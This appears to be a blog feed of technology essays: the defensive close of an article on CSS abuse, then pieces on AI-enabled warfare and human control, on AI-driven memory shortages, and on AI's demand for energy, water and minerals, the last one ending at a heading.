Automated scanning should parse CSS rather than grep raw text.

Escapes, comments, and minification can defeat simple string matching.
Network telemetry helps too. A page that should only load assets from static.example.com should not request css-cdn-usercontent.net during checkout.

Engineering Habits That Prevent CSS Abuse
The strongest defenses are boring and consistent:

Do not allow untrusted raw CSS.
Keep secrets out of DOM attributes.
Use CSP to restrict style-src, img-src, and font-src.
Pin third-party CSS with SRI.
Avoid versionless CDN URLs.
Review stylesheet changes like code changes.
Proxy user-supplied media through controlled infrastructure.
Strip @import from user-controlled styles.
Audit design tools and CMS plugins that inject CSS.
Treat visual manipulation as a security issue, not only a UX bug.

CSS is not a scripting language, but it is not inert text either. A stylesheet has inputs, conditions, side effects, and network reach. That makes it powerful enough to deserve the same suspicion given to any code running inside a trusted page.

The safest assumption is that every stylesheet is part of the application’s security boundary. Review it, constrain it, and make the browser’s quiet requests visible before someone else starts reading them.

Algorithm of War: How Sensor Fusion and Autonomy Are Redefining the Battlefield

Njenga Ng'ang'a — Tue, 11 Aug 2026 22:52:52 +0000

AI is shifting military power away from platforms alone and toward data pipelines that can detect, decide, and act faster than human-only command structures.
For decades, advanced militaries competed through aircraft, ships, missiles, satellites, and electronic systems. Those still matter. A stealth bomber, a guided missile, or a radar satellite remains expensive and strategically important.

What has changed is the layer connecting them: machine learning models, edge processors, automated targeting aids, synthetic training environments, and decision-support systems.

For IT-literate readers, the core story is familiar. War is becoming a distributed computing problem under extreme latency, bandwidth, security, and reliability constraints. The difference is that system failure can kill civilians, escalate conflicts, or trigger strategic miscalculation.

The Data Problem Behind Modern Combat
Modern military operations generate huge volumes of data from satellites, drones, radar, sonar, signals intelligence, cyber sensors, logistics systems, body-worn devices, and open-source feeds. The challenge is not simply collecting data. It is sorting useful signals from noise quickly enough to matter.

A single high-altitude drone can stream full-motion video for hours. A constellation of small satellites can capture repeated imagery over large areas. Ground sensors may detect acoustic, seismic, thermal, or radio-frequency events. Human analysts cannot manually review all of this at operational speed.
AI systems are now used to:
• Detect vehicles, vessels, aircraft, and troop movements in imagery
• Classify objects from radar, infrared, and electro-optical sensors
• Correlate reports from multiple sources
• Flag anomalies in network traffic or communications patterns
• Prioritize alerts for human review
• Predict equipment failure and supply shortages
This is not always glamorous. Much of the military value comes from reducing analyst workload. A model that cuts 10,000 image tiles down to 400 high-priority candidates may have more practical impact than a humanoid robot with a rifle.

The technical challenge is harder than civilian image recognition. Military data is often sparse, degraded, intentionally manipulated, and collected from unusual angles. Weather, camouflage, decoys, electronic interference, and adversarial behaviour all degrade model performance. A tank partly hidden under foliage is not the same problem as identifying cats in web images.

Sensor Fusion and the Kill Chain
AI affects each stage of the military kill chain: find, fix, track, target, engage, and assess.

The most immediate advances are in the first three stages.
Sensor fusion combines multiple data sources into a shared operational picture. A system might correlate satellite imagery, drone video, radar tracks, intercepted emissions, and reports from units in the field. The goal is to increase confidence while reducing time-to-detection.

Traditional fusion systems relied heavily on rule-based logic and human operators. Newer systems use machine learning to detect patterns across heterogeneous data. For example, a stationary object detected in satellite imagery may become more relevant if nearby radio emissions change, logistics vehicles appear, and drone footage confirms movement.

This creates a technical architecture similar to large-scale event processing:

Data ingestion from sensors and external feeds
Normalization into common schemas
Entity resolution across sources
Classification and confidence scoring
Alert routing to commanders or weapons systems
Feedback loops from human decisions and battle damage assessment The hard part is trust. A commander needs to know why a system flagged a target. Confidence scores alone are not enough. Explainability, provenance, and audit logs matter because decisions may be reviewed legally, politically, and morally.

A useful military AI system must answer questions such as:
• Which sensors contributed to this assessment?
• How recent is the data?
• What alternative classifications were considered?
• What is the estimated probability of civilian presence?
• Has the object changed position since detection?
• Could the signal be a decoy or spoofed source?
These are not optional interface details. They are central to operational safety.

Autonomous Weapons and Human Control
Autonomous weapons attract the most public attention, but autonomy exists on a spectrum.

At one end are automated defensive systems, such as ship-based missile defence, where reaction times are too short for manual engagement. At the other end are systems that can search for, select, and attack targets with limited human intervention. Between those extremes are loitering munitions, drone swarms, robotic ground vehicles, automated turrets, and AI-assisted targeting systems.

The technical distinction between automation and autonomy matters. Automation follows predefined rules. Autonomy adapts behaviour based on sensor inputs, mission goals, and environmental conditions.

Machine learning adds another layer by enabling systems to classify objects and infer patterns rather than simply execute fixed procedures.
The central policy issue is meaningful human control. A human may approve a target category, a geographic area, a time window, or a specific strike. Each option gives different levels of control.

A human clicking “approve” after a machine presents dozens of recommendations in seconds may satisfy a formal requirement while providing little real oversight.

The interface design is critical. If an AI targeting tool highlights an object as hostile with 92 percent confidence, operators may defer to it under pressure. This is automation bias. In civilian IT systems, automation bias can produce bad loans or misdiagnosed medical scans. In war, it can produce unlawful strikes.

Human control depends on system design, training, doctrine, and tempo. A well-designed system should make uncertainty visible. It should not hide edge cases behind clean dashboards.

Drone Swarms and Distributed Autonomy
Drone warfare has advanced rapidly because small unmanned systems are cheap, modular, and software-defined. Commercial quadcopters, fixed-wing drones, and custom-built systems have been adapted for reconnaissance, artillery spotting, communications relay, and direct attack.
AI changes drones in three major ways:
• Navigation without continuous GPS or operator control
• Target recognition and tracking
• Coordination among multiple drones
Swarming does not require science fiction levels of intelligence. A swarm can be built from relatively simple behaviours: separation, alignment, task allocation, and route adjustment. The hard problems are communications, resilience, identification, and mission control under jamming.

Military networks are contested. GPS may be jammed or spoofed. Radio links may be detected and targeted while cloud connectivity may be unavailable.

This pushes AI workloads to the edge. Models must run on low-power processors inside drones, vehicles, and sensors.
That creates engineering constraints familiar to embedded developers:
• Limited compute and memory
• Thermal limits
• Power consumption trade-offs
• Model compression and quantization
• Real-time inference requirements
• Fault tolerance after partial damage
• Secure boot and tamper resistance

A model that performs well in a lab may fail on a drone with a small processor, dirty lens, vibration, packet loss, and hostile electronic interference.

AI in Cyber and Electronic Warfare
Cyber operations have long used automation, but AI is accelerating detection, exploitation, deception, and defence. Military networks include traditional IT, operational technology, satellite links, radio systems, weapon platforms, and logistics software.

That broad attack surface makes automation attractive to both attackers and defenders.
Defensive uses include anomaly detection, malware classification, automated triage, and identity behaviour analytics. Offensive uses may include vulnerability discovery, phishing generation, target profiling, and adaptive malware behaviour.

The same techniques used in enterprise security operations centres appear in military cyber units, but the stakes and integration requirements differ.

Electronic warfare is also becoming more software-defined. AI can help classify radar emissions, detect jamming patterns, optimize spectrum usage, and adapt communications under interference. A force that can maintain data links while degrading an opponent’s sensors gains a major advantage.

AI-enabled electronic warfare is less visible than drones, but it may be more decisive. If one side blinds the other’s sensors, corrupts its location data, or disrupts command networks, expensive platforms become far less useful.

Logistics, Maintenance, and Readiness
War is not only about firing weapons. Armies run on fuel, spare parts, medical support, ammunition, transport capacity, and maintenance schedules. AI can improve readiness by predicting failures, optimizing supply routes, and allocating scarce resources.

Predictive maintenance is one of the clearest applications. Aircraft, ships, and armoured vehicles generate sensor data on engines, hydraulics, electrical systems, and structural wear. Machine learning models can also detect patterns that precede failures thereby replacing a component before it fails keeping equipment available and reduce dangerous breakdowns during operations.

Logistics AI can also model demand. Ammunition usage, weather, terrain, unit movement, and enemy activity all affect consumption. Accurate forecasting helps commanders avoid shortages without overloading supply chains.

These systems resemble enterprise resource planning and industrial IoT platforms, but with hostile interference, damaged infrastructure, and incomplete data. A logistics model may need to operate with missing inputs, destroyed roads, cyberattacks, and deliberate deception.

Synthetic Training and Simulation
AI is improving military training through synthetic environments, adaptive opponents, and automated scenario generation. Pilots, cyber teams, drone operators, and commanders can train against AI-controlled adversaries that adjust tactics in real time.

Reinforcement learning is especially relevant in simulation. Systems can run thousands or millions of iterations to evaluate tactics, resource allocation, and platform behaviour. Human teams can then train against more varied scenarios than a scripted exercise would provide.
Synthetic data also helps train perception models where real-world data is limited or classified. Simulated vehicles, terrain, weather, and sensor effects can produce labelled datasets at scale. The danger is sim-to-real mismatch.

A model trained on synthetic images may underperform against real camouflage, dust, smoke, shadows, and sensor artifacts.
Good synthetic training requires validation against real-world observations. Without that, simulation can create false confidence.

The Reliability Gap
AI systems in war face adversaries who deliberately attack their assumptions. This separates military AI from many commercial deployments.
Common failure modes include:
• Adversarial examples that fool classifiers
• Spoofed GPS or sensor inputs
• Decoys designed to mimic real targets
• Data poisoning during model training
• Communications disruption
• Model drift as tactics change
• Overconfidence in low-quality data
• Poor performance outside training conditions

Security teams already understand that systems fail at boundaries. Military AI lives at the boundary: bad weather, incomplete data, deception, stress, and urgent decisions.

Testing must go beyond aggregate accuracy. A model with 95 percent overall accuracy may still fail catastrophically on rare but critical cases, such as distinguishing a civilian bus from a military transport at night. Evaluation should include false positives, false negatives, calibration, robustness, adversarial testing, and operational red-teaming.

Version control also matters. Military organizations need to know which model version produced a recommendation, what data trained it, what limitations were documented, and whether operators followed or rejected the recommendation. That requires MLOps discipline under classified, disconnected, and high-security conditions.

Command Speed and Escalation Risk
AI compresses decision cycles. Faster detection and targeting can protect forces, but speed also creates escalation risk.

If two opposing militaries deploy AI-assisted command systems, each may feel pressure to act before the other. Automated alerts can create a perception of imminent attack. Cyber and electronic interference can obscure intent. A false warning generated by a flawed model could push commanders toward unnecessary escalation.

This is especially dangerous around nuclear forces, early-warning systems, and strategic command networks. AI should be treated with extreme caution in any system connected to nuclear decision-making. False positives, spoofing, and opaque recommendations are unacceptable where minutes matter and consequences are irreversible.

Slower, more deliberate processes are sometimes safer. Not every military function should be optimized for speed.

Legal and Ethical Constraints
International humanitarian law requires distinction, proportionality, and military necessity. AI systems do not remove those obligations. If anything, they make compliance harder to verify.

A model may identify a vehicle as military, but legal targeting also depends on context. Who is nearby? What is the expected civilian harm? Is the target currently participating in hostilities? Is the anticipated military advantage concrete and direct? These judgments cannot be reduced to object detection.

Accountability is another unresolved issue. If an AI-assisted strike hits the wrong target, responsibility may involve commanders, operators, software developers, data labelers, acquisition officials, and political leaders. Complex supply chains make this harder. Defense AI may include commercial models, open-source components, classified datasets, and contractor-built integration layers.
Technical governance should include:
• Clear use boundaries
• Human review requirements
• Audit trails
• Dataset documentation
• Model evaluation reports
• Red-team testing
• Post-incident review processes
• Restrictions on autonomous target selection
These controls will not eliminate risk, but they make risk visible and assignable.

What Comes Next
The next phase of AI in war will be less about single impressive systems and more about integration. The side that connects sensors, networks, analysts, commanders, weapons, and logistics into a resilient technical stack will gain real advantage.

Expect continued investment in edge AI, autonomous drones, AI-assisted cyber operations, electronic warfare, synthetic training, and decision-support tools. Also expect counter-AI systems: spoofing, decoys, jamming, adversarial camouflage, model poisoning, and attacks on data pipelines.
The decisive question is not whether AI will be used in war. It already is.

The question is whether militaries can build systems that are fast without being reckless, autonomous without being unaccountable, and technically powerful without pushing human judgment out of decisions that still require it.

Silicon Scarcity: Why AI Is Gobbling Up the World’s RAM

Njenga Ng'ang'a — Mon, 10 Aug 2026 10:57:31 +0000

AI training clusters have turned DRAM _(Dynamic Random Access Memory) _from a background commodity into a hard constraint on computing capacity.

For two decades, memory buyers grew used to a simple pattern: DRAM got cheaper per gigabyte, servers shipped with more of it, and consumer devices quietly benefited from the same manufacturing scale.

That pattern has broken. Generative AI has changed the demand curve for memory faster than semiconductor manufacturers can add cleanroom space, qualify new process nodes, and raise yields on advanced packages.

The shortage is not just about more laptops needing more RAM. It is about Nvidia GPU racks, high-bandwidth memory stacks, enterprise DDR5 servers, and hyperscalers signing supply agreements years ahead of time. Memory is no longer merely attached to computing. For AI, memory is part of the compute engine.

Why AI Needs So Much Memory
Modern AI systems are limited as much by memory movement as by arithmetic.
A GPU can perform huge numbers of matrix multiplications per second, but those operations stall if data cannot be fed quickly enough.

Large language models require constant movement of model weights, activations, gradients, optimizer states, and training data.
During training, memory pressure rises sharply because the system must store intermediate values for backpropagation. During inference, the key constraint often becomes serving many users at once while maintaining a large key-value cache for context.

A 70-billion-parameter model in 16-bit precision needs roughly 140 GB just to store the raw weights. Training the same model can require several times that amount once optimizer states and activations are included. Larger frontier models push into hundreds of billions or trillions of parameters, distributed across thousands of accelerators.

This is why high-bandwidth memory, or HBM, has become the critical memory product for AI. An Nvidia H100 uses HBM3. An H200 uses HBM3e with 141 GB of memory and bandwidth around 4.8 TB/s. AMD’s MI300X ships with 192 GB of HBM3 and bandwidth above 5 TB/s. These are not ordinary DRAM modules plugged into a motherboard. They are stacked memory packages connected to processors through silicon interposers and advanced packaging.

That distinction matters because HBM consumes manufacturing capacity differently from commodity DRAM. It uses known DRAM cell technology, but with far more complex stacking, through-silicon vias, tighter testing requirements, and lower tolerance for defects. A failed die can compromise a stack. Yields take time to improve.

HBM Is Eating the Best Capacity First
The global DRAM market is dominated by three companies: Samsung, SK Hynix, and Micron. All three are shifting production toward high-margin products: HBM, DDR5 server memory, and enterprise-class modules.

IDC’s market analysis of the memory shortage describes this shift clearly. Manufacturers are reallocating cleanroom capacity away from lower-margin consumer electronics and toward HBM and enterprise DDR5.

The reason is simple: an HBM stack sold into an AI accelerator supply chain can command much better economics than LPDDR for a midrange smartphone or standard DDR4 for a low-cost PC.

This does not mean factories can instantly switch from one product to another. DRAM fabs are expensive, highly specialized facilities. Capacity decisions made today affect supply quarters or years later. HBM also requires advanced packaging capacity, not just wafer starts.

SK Hynix may have wafers _(a thin slice of semiconductor material—usually high-purity silicon—used as the physical foundation to build the microchips that power AI model training and inference) _available, but if packaging lines for HBM3e are constrained, finished supply remains tight.
That is the core engineering issue behind the current shortage.

AI demand is pulling on the most technically demanding part of the memory supply chain. The result is a capacity squeeze that starts with HBM and then spreads into server DRAM, consumer DRAM, and eventually device pricing.

Hyperscalers Are Absorbing Supply Before It Reaches the Open Market
The buyers driving this cycle are not ordinary OEMs placing quarterly component orders. They are hyperscalers and AI infrastructure companies building clusters with tens of thousands of accelerators.

Microsoft, Google, Amazon, Meta, Oracle, CoreWeave, xAI, and several large Chinese cloud firms are competing for the same memory-heavy hardware. A single AI server populated with eight high-end GPUs may include more than a terabyte of HBM across accelerators plus 1 TB to 2 TB of DDR5 system memory.

Scale that to a 10,000-GPU cluster and the numbers become enormous.
A rough example:
• 10,000 Nvidia H200 GPUs at 141 GB each require about 1.41 petabytes of HBM.
• If those GPUs sit in 1,250 eight-GPU servers with 2 TB of system DRAM each, that adds another 2.5 petabytes of DDR5.
• Networking, storage nodes, CPU-only orchestration servers, and redundancy add more memory demand outside the GPU nodes.

Those clusters are not experimental lab builds. They are now standard infrastructure for companies training and serving large models. J.P. Morgan Global Research, in its analysis of the AI-driven memory shortage, identifies hyperscaler data centre demand as a major force absorbing global memory capacity and pushing DRAM prices higher into 2026.

This also changes contract behaviour. Large buyers secure supply through long-term agreements. Smaller server builders, PC manufacturers, and channel distributors are left competing for whatever remains. Spot prices move first. Contract prices follow.

DRAM Pricing Has Snapped Back
DRAM has always been cyclical. Prices rise when supply tightens, then crash when producers overbuild. But the current cycle has a different shape because the demand shock is tied to a structural compute buildout rather than a temporary inventory correction.

Tom’s Hardware, citing industry analysis, reported that RAM pricing has reverted to normalized 2007 levels after years of steady improvement in cost per gigabyte. That is an extraordinary reversal. The economics of memory had trained buyers to expect more capacity for less money every product generation. AI erased a large part of that progress in a short period.
The effect is visible across categories:
• DDR5 server DIMMs have become more expensive and harder to allocate.
• HBM capacity is booked far ahead.
• Consumer DDR5 kits have seen price increases after a period of oversupply.
• Older DDR4 has not disappeared from pressure because some buyers downgrade or extend existing platforms.
• Enterprise buyers face longer lead times for memory-heavy server configurations.

J.P. Morgan’s research links this pricing pressure to broader inflation risk in electronics and data centre capital spending. If memory prices rise steeply through 2026, server bills of materials rise with them. Cloud providers then face a choice: absorb lower margins, raise prices, ration capacity, or prioritize the highest-paying workloads.

Why More Fabs Will Not Fix This Quickly
The intuitive answer to shortage is more production. Semiconductor manufacturing does not move at that speed.
A leading-edge memory fab costs billions of dollars and takes years to build, equip, qualify, and ramp. Even expansions inside existing fabs (semiconductor silicon facility) require lithography tools, deposition systems, etchers, metrology equipment, and trained staff.

DRAM process migration is also technically demanding. Shrinking cells while maintaining retention, endurance, and yield is not a routine copy-and-paste operation.
HBM adds another layer of difficulty. It needs:
• High-quality DRAM dies binned for stack reliability.
• Through-silicon vias that connect layers vertically.
• Precise wafer thinning.
• Microbump bonding or hybrid bonding techniques.
• Advanced test flows to catch defects before final integration.
• CoWoS-like or comparable advanced packaging capacity near the accelerator vendor.

Northeastern University’s technical report on AI-driven RAM price increases frames the shortage as structural because production yields cannot rise at the same rate as AI infrastructure demand. A hyperscaler can approve billions in GPU purchases faster than a memory maker can add fully qualified HBM output.

This timing mismatch is the central problem. Demand is responding to software breakthroughs and competitive pressure. Supply is governed by physics, tooling, yields, and packaging throughput.

Consumer Devices Are Now Competing With AI Servers
The shortage reaches consumers through indirect pressure. A smartphone does not use HBM. A gaming PC does not use HBM. But the same manufacturers decide how much wafer capacity and capital spending to assign to each product line.

IDC warns that smartphones and PCs face potential impact as Samsung, SK Hynix, and Micron favour high-margin AI and enterprise products. That may show up as higher memory prices, fewer generous base configurations, slower adoption of larger RAM capacities, or longer replacement cycles.

The PC market is especially exposed because Windows laptops are moving toward higher baseline memory requirements. AI PC branding often starts at 16 GB, while premium systems are moving to 32 GB. Gaming desktops increasingly pair fast CPUs with DDR5. If module pricing rises, OEMs may protect margins by shipping fewer configurations with larger RAM, charging more for upgrades, or keeping older platforms alive longer.

Smartphones face a similar squeeze. Flagship Android devices with 12 GB or 16 GB of LPDDR have become common. On-device AI features add pressure for more memory bandwidth and capacity. Yet LPDDR competes for investment attention against HBM and server DDR5. Consumers may not see “AI memory shortage” printed on a spec sheet, but they may see it in the price of the 512 GB phone with extra RAM.

Enterprises Feel the Shortage in Refresh Cycles
Corporate IT buyers are caught between aging fleets and rising component costs. Evernex’s data center and enterprise analysis points to a practical issue: allocation decisions now affect standard server RAM, not only exotic AI hardware.

A company refreshing virtualization hosts, databases, analytics servers, or SAP infrastructure may need systems with 512 GB, 1 TB, or 2 TB of DRAM per node. Those are normal enterprise configurations. But AI buyers are pulling on the same DDR5 supply chain, and server OEMs may prioritize strategic cloud accounts over smaller enterprise orders.
The immediate responses are familiar but painful:
• Extending the life of existing servers.
• Buying refurbished memory where warranty policies allow it.
• Standardizing on fewer configurations to improve purchasing leverage.
• Moving less critical workloads to cloud instances with reserved capacity.
• Reviewing whether every workload truly needs its current memory allocation.

Memory overprovisioning was cheap for years. Many organizations treated RAM as insurance. That habit becomes expensive when module prices climb and lead times stretch.

The Technical Bottleneck Is Memory Bandwidth, Not Just Capacity
Capacity grabs headlines because gigabytes are easy to count. Bandwidth is the deeper reason AI consumes specialized memory.

A CPU server with DDR5 might deliver hundreds of GB/s of memory bandwidth across multiple channels. An AI accelerator with HBM delivers several TB/s. That difference is what keeps tensor cores fed. Without HBM-class bandwidth, expensive compute units sit idle.

This is also why simply substituting conventional DRAM will not solve the problem. AI accelerators need memory physically close to the processor, connected through very wide interfaces. HBM achieves bandwidth through stacking and proximity rather than high clock speeds alone. The architecture is fundamentally different from socketed DIMMs.

Future designs may use larger HBM stacks, HBM4, custom ASICs, optical interconnects, memory pooling, CXL-attached memory, and more efficient model architectures. These will help, but they do not remove the near-term pressure. Larger models, longer context windows, multimodal inputs, and real-time inference all increase memory demand.

What Buyers Should Watch Through 2026
The next two years will be defined by allocation.
Watch HBM3e and HBM4 qualification, not just DRAM spot prices. Watch advanced packaging capacity at TSMC and other packaging providers.

Watch whether Samsung gains share in HBM after SK Hynix’s early lead. Watch Micron’s HBM ramp. Watch server DDR5 contract pricing, because that is where AI demand spills into mainstream enterprise budgets.

For technical buyers, the practical move is to treat memory as a strategic component again. Lock configurations earlier. Validate second-source DIMMs. Audit workloads for wasted allocation. Consider CXL memory expansion where latency profiles fit. Avoid assuming that next quarter will be cheaper.

AI has made RAM scarce because memory is where modern computation touches physical reality: charged capacitors, stacked dies, bonded wafers, cleanroom capacity, and delivery contracts signed before a server ever appears in a rack. The companies that plan around that constraint will build; the ones waiting for old pricing patterns to return will be stuck repricing purchase orders.

In conclusion, the next wave of AI hardware will advertise more compute, but the real question will be simpler: how much memory can it get, how fast can it move data, and who already reserved the supply?

AI’s Effect on Earth’s Natural Resources

Njenga Ng'ang'a — Tue, 04 Aug 2026 16:50:10 +0000

AI systems convert electricity, water, minerals, land, and human-built infrastructure into computation at a scale that is now large enough to matter for resource planning.

Large language models, recommendation engines, computer vision systems, autonomous logistics platforms, and scientific AI tools all depend on physical inputs.
The software may look weightless from a user’s screen, but every query and training run draws on data centres, transmission lines, cooling systems, semiconductor fabs, mines, and global shipping networks. AI can also reduce waste, improve grid operations, optimize irrigation, and accelerate materials discovery. Its net effect on Earth’s natural resources depends on whether efficiency gains, outpace the growth in demand for computation.

The Physical Layer of AI

AI runs on specialized hardware, mostly graphics processing units, tensor processing units, high-bandwidth memory, networking equipment, and storage systems. These components sit inside data centres that require continuous electricity and cooling.

A modern AI training cluster may contain thousands or tens of thousands of accelerators. Nvidia’s H100 GPU has a thermal design power of up to 700 watts.
A rack containing eight such GPUs, CPUs, memory, storage, networking gear, and power conversion equipment can draw more than 10 kilowatts. Large AI data halls can reach tens or hundreds of megawatts.
Training a frontier model is only one part of the resource profile.

Inference, the process of serving model outputs to users, can dominate long-term consumption because it runs continuously. A model trained once may be queried billions of times. The energy cost per query varies widely depending on model size, hardware, batching, output length, _and _data centre efficiency, but aggregate demand rises quickly when AI is embedded into search, office software, coding tools, advertising, customer service, industrial control, and mobile devices.

Electricity Demand

Data centres already account for a measurable share of global electricity use.
The International Energy Agency estimated that data centres and data transmission networks consumed roughly 460 terawatt-hours of electricity in 2022 (Equivalent to power running a country like Kenya for 40 years). The agency has projected that data centre electricity consumption could roughly double by 2026, reaching more than 1,000 terawatt-hours under high-growth assumptions.

AI is not the only driver. Cloud storage, video streaming, enterprise software, cryptocurrency, and conventional web services all draw power. Still, AI changes the shape of demand because high-density accelerator clusters consume far more power per rack than traditional servers.

Electricity use has three major resource implications:

Fuel consumption
If a new data centre load is served by fossil generation, AI increases demand for coal, gas, or oil.
Gas-fired power plants are often used for flexible generation, which can make them attractive for meeting new data centre loads.
Grid infrastructure
Large AI facilities require substations, transformers, transmission upgrades, backup power, and sometimes dedicated power purchase agreements. Copper, aluminium, steel, concrete, and land are consumed before the first model is trained.
Opportunity cost
Clean electricity used by data centres is not automatically additive.
A data centre may sign a renewable energy contract, but the grid still relies on fossil plants during peak demand. As a result, the emissions and resource effects depend on time, location, and grid mix.

The technical metric commonly used inside data centres is Power Usage Effectiveness, or PUE. A perfect PUE is 1.0, meaning all electricity goes to computing hardware.
A facility with a PUE of 1.2 uses 20% extra power for cooling, lighting, power distribution losses, and other overhead. Hyperscale data centres often report PUE values near 1.1 to 1.3, but local climate, workload density, and cooling design affect performance.

Water Use and Cooling

AI also affects freshwater resources through cooling and electricity generation.
Data centres remove heat using air cooling, evaporative cooling, liquid cooling, or hybrid systems.
Evaporative cooling can reduce electricity demand but consumes water. Liquid cooling can handle high-density AI racks more efficiently, but the overall water effect depends on the facility design and energy source.
Water use appears in two categories:
• On-site water consumption, used directly by the data centre for cooling.
• Off-site water consumption, used by power plants that generate electricity for the facility.

A coal, gas, nuclear, or concentrated solar plant with water-based cooling can consume substantial water per megawatt-hour. Wind and solar photovoltaic (a technology that changes sunlight directly into electricity using special materials like silicon) generation have much lower operational water requirements, though manufacturing still has water impacts.

The relevant technical metric is Water Usage Effectiveness, or WUE, usually measured in litres per kilowatt-hour of IT energy. A low WUE is preferred, but a facility can reduce WUE while raising electricity consumption, so PUE and WUE MUST be evaluated together.
Location matters. A water-intensive cooling design in a wet region has different consequences from the same design in Arizona, Chile, northern Mexico, or parts of India. The stress level of the watershed is as important as the absolute volume consumed.

Minerals, Chips, and Manufacturing

AI hardware begins far from the data centre. It depends on mined and refined materials, including silicon, copper, aluminium, gold, tin, nickel, tantalum, tungsten, cobalt, rare earth elements, and high-purity quartz.

Semiconductor manufacturing is resource-intensive. Advanced chips require ultrapure water, specialty gases, photoresists, solvents, acids, and large amounts of electricity.

A leading-edge fabrication plant can use millions of gallons of water per day, though much of it may be treated and recycled. The water must meet extreme purity requirements because microscopic contamination can destroy wafers (a thin, flat disc of semiconductor material—most commonly crystalline silicon—that serves as the foundational base for building microchips, integrated circuits, and solar cells).

AI accelerators also use high-bandwidth memory and advanced packaging. These require additional manufacturing steps, substrates, interposers, and precise assembly. The supply chain spans mines, chemical plants, wafer fabs, packaging facilities, printed circuit board producers, server manufacturers, and logistics providers.
The mineral issue is not only depletion. The larger risks include:
• Habitat disruption from mining
• Tailings failures and water contamination
• Energy-intensive refining
• Labor and safety concerns
• Geopolitical concentration of processing capacity
• Low recycling rates for complex electronic components
Copper is a central constraint because AI growth coincides with electrification of transport, grid expansion, heat pumps, and renewable generation. A single large data centre campus can require significant copper for cabling, transformers, switchgear, backup systems, and utility interconnection.

Land, Buildings, and Backup Systems

AI infrastructure occupies land directly through data centre campuses and indirectly through energy generation, transmission corridors, mining sites, fabrication plants, and waste facilities.

A hyperscale data centre campus can cover dozens or hundreds of acres. The building shell requires concrete and steel, both associated with high energy consumption and carbon dioxide emissions.
Backup power systems often use diesel generators, though some operators are testing batteries, hydrogen fuel cells, or grid-interactive backup designs.

Land impacts depend heavily on siting. Reusing industrial land near existing transmission infrastructure reduces disturbance. Building in areas with scarce water, congested grids, or high ecological value increases resource pressure.

Data centres also create heat. Most waste heat is rejected into the air or water, but some facilities in colder regions send it into district heating networks. This can improve total energy productivity, though it requires nearby heat demand and infrastructure.

E-Waste and Hardware Turnover

AI hardware depreciates quickly. New accelerator generations often deliver large improvements in performance per watt, memory bandwidth, and interconnect speed. This creates pressure to replace servers before their physical end of life.

Electronic waste contains valuable materials, but recovery is technically difficult. Printed circuit boards contain copper, gold, palladium, silver, and tin in small concentrations. Batteries and power systems contain additional recoverable materials. Proper recycling can reduce mining demand, but informal or poorly regulated recycling can release lead, mercury, brominated flame retardants, and other hazardous substances.
A resource-efficient AI deployment should track:
• Server lifetime in years
• Utilization rate of accelerators
• Energy consumed per training run
• Energy consumed per 1,000 inferences
• Hardware repairability
• Component reuse
• Certified recycling rates
• Embodied carbon and embodied water per server
Low utilization is especially wasteful. An accelerator that sits idle still represents mined minerals, factory energy, capital equipment, and transportation.

Electricity Grids

Machine learning can improve demand forecasting, renewable generation forecasting, fault detection, and power flow optimization. Better forecasts help grid operators integrate wind and solar while reducing reserve requirements. AI can also coordinate batteries, electric vehicle charging, and industrial demand response.

For example, short-term wind forecasting can reduce the need for fossil backup generation. Predictive maintenance can identify transformer failures before outages occur, extending equipment life and reducing replacement material demand.

Agriculture and Water

AI-assisted irrigation systems use soil moisture sensors, weather data, satellite imagery, and crop models to apply water where and when plants need it. This can reduce groundwater pumping and fertilizer runoff.
Computer vision can identify crop stress, pests, or nutrient deficiency earlier than manual inspection. Precision spraying can reduce herbicide and pesticide use by targeting individual weeds rather than entire fields. The resource benefit depends on cost, farmer adoption, local crop systems, and whether yield increases drive expansion into new land.

Industry and Manufacturing

Industrial AI can optimize furnaces, kilns, compressors, pumps, and chemical reactors. These systems often consume large amounts of energy.
Even a 1% efficiency improvement in cement, steel, ammonia, or refining operations can save substantial fuel and raw materials.

Predictive maintenance reduces unplanned downtime and avoids premature replacement of equipment. Quality-control models can detect defects earlier, reducing scrap in semiconductor, automotive, and electronics manufacturing.

Materials Discovery

AI is increasingly used to search for better batteries, catalysts, refrigerants, membranes, and alloys.
Faster discovery of low-cobalt batteries, efficient electrolyzers, or improved carbon capture sorbents could reduce mining and energy intensity. These benefits are not automatic; laboratory success must survive scale-up, safety testing, manufacturing economics, and deployment.

Rebound Effects

Efficiency can increase total consumption if lower costs stimulate greater use. This is the rebound effect.
If AI makes software development cheaper, more software may be produced. If AI makes advertising more effective, more computing may be spent on targeting and content generation.

If inference becomes cheaper, products may add AI features whether or not they provide significant value. A tenfold improvement in efficiency does not guarantee lower resource use if demand grows twentyfold.
This is why the key metric is not only energy per computation. Total system consumption matters:
Total resource use = resource intensity per task × number of tasks
A smaller model running billions of unnecessary tasks can consume more total resources than a larger model used sparingly for high-value work.

Measuring AI’s Resource Footprint

AI resource accounting should include both operational and embodied impacts.

Operational impacts include electricity, water, backup fuel, and refrigerants used during service. Embodied impacts include mining, manufacturing, construction, shipping, and end-of-life processing.
Useful reporting metrics include:

kWh per training run- Direct electricity used to train a model
kWh per 1,000 inferences- Electricity used to serve model outputs
PUE- Facility overhead beyond IT equipment
WUE- Water consumed per unit of IT energy
Carbon intensity by hour- Emissions linked to actual grid conditions
Hardware utilization- Share of available accelerator capacity used
Embodied carbon per server- Manufacturing and supply-chain emissions

Although there are some public claims about “green AI”, these claims are weak due to absence of location-based data, time-based electricity matching, water reporting, and hardware lifecycle accounting.

Technical Approaches to Reduce Resource Pressure

Several engineering choices can lower AI’s resource burden without halting development. Such practices include:

**1. Smaller and Specialized Models
Not every task needs a frontier-scale model. Distilled models, retrieval-augmented systems, sparse models, and domain-specific models can reduce inference cost. A compact model that answers a narrow class of questions accurately is often more resource-efficient than a general model used for everything.

2. Quantization and Efficient Inference
Quantization reduces numerical precision, such as moving from 16-bit floating point to 8-bit or 4-bit representations. This can reduce memory use, improve throughput, and lower energy per output token.
Batching, caching, speculative decoding, and optimized kernels also improve accelerator utilization.

3. Better Scheduling
Training jobs and batch inference can be scheduled during periods of low-carbon electricity or high renewable output.
Workloads that are not latency-sensitive can move across regions if data governance and network costs allow it.

4. Longer Hardware Life
Operators can extend server life through modular design, repair, resale, and secondary use. Older accelerators may remain useful for smaller models, batch processing, education, or research.
Designing systems for upgradeable memory, networking, and cooling also reduces waste.

5. Water-Aware Siting
Data centres should be evaluated against watershed stress, not only average water availability. Dry cooling, recycled water, closed-loop liquid cooling, and non-potable water sources can reduce pressure on drinking water supplies.

6. Governance and Procurement
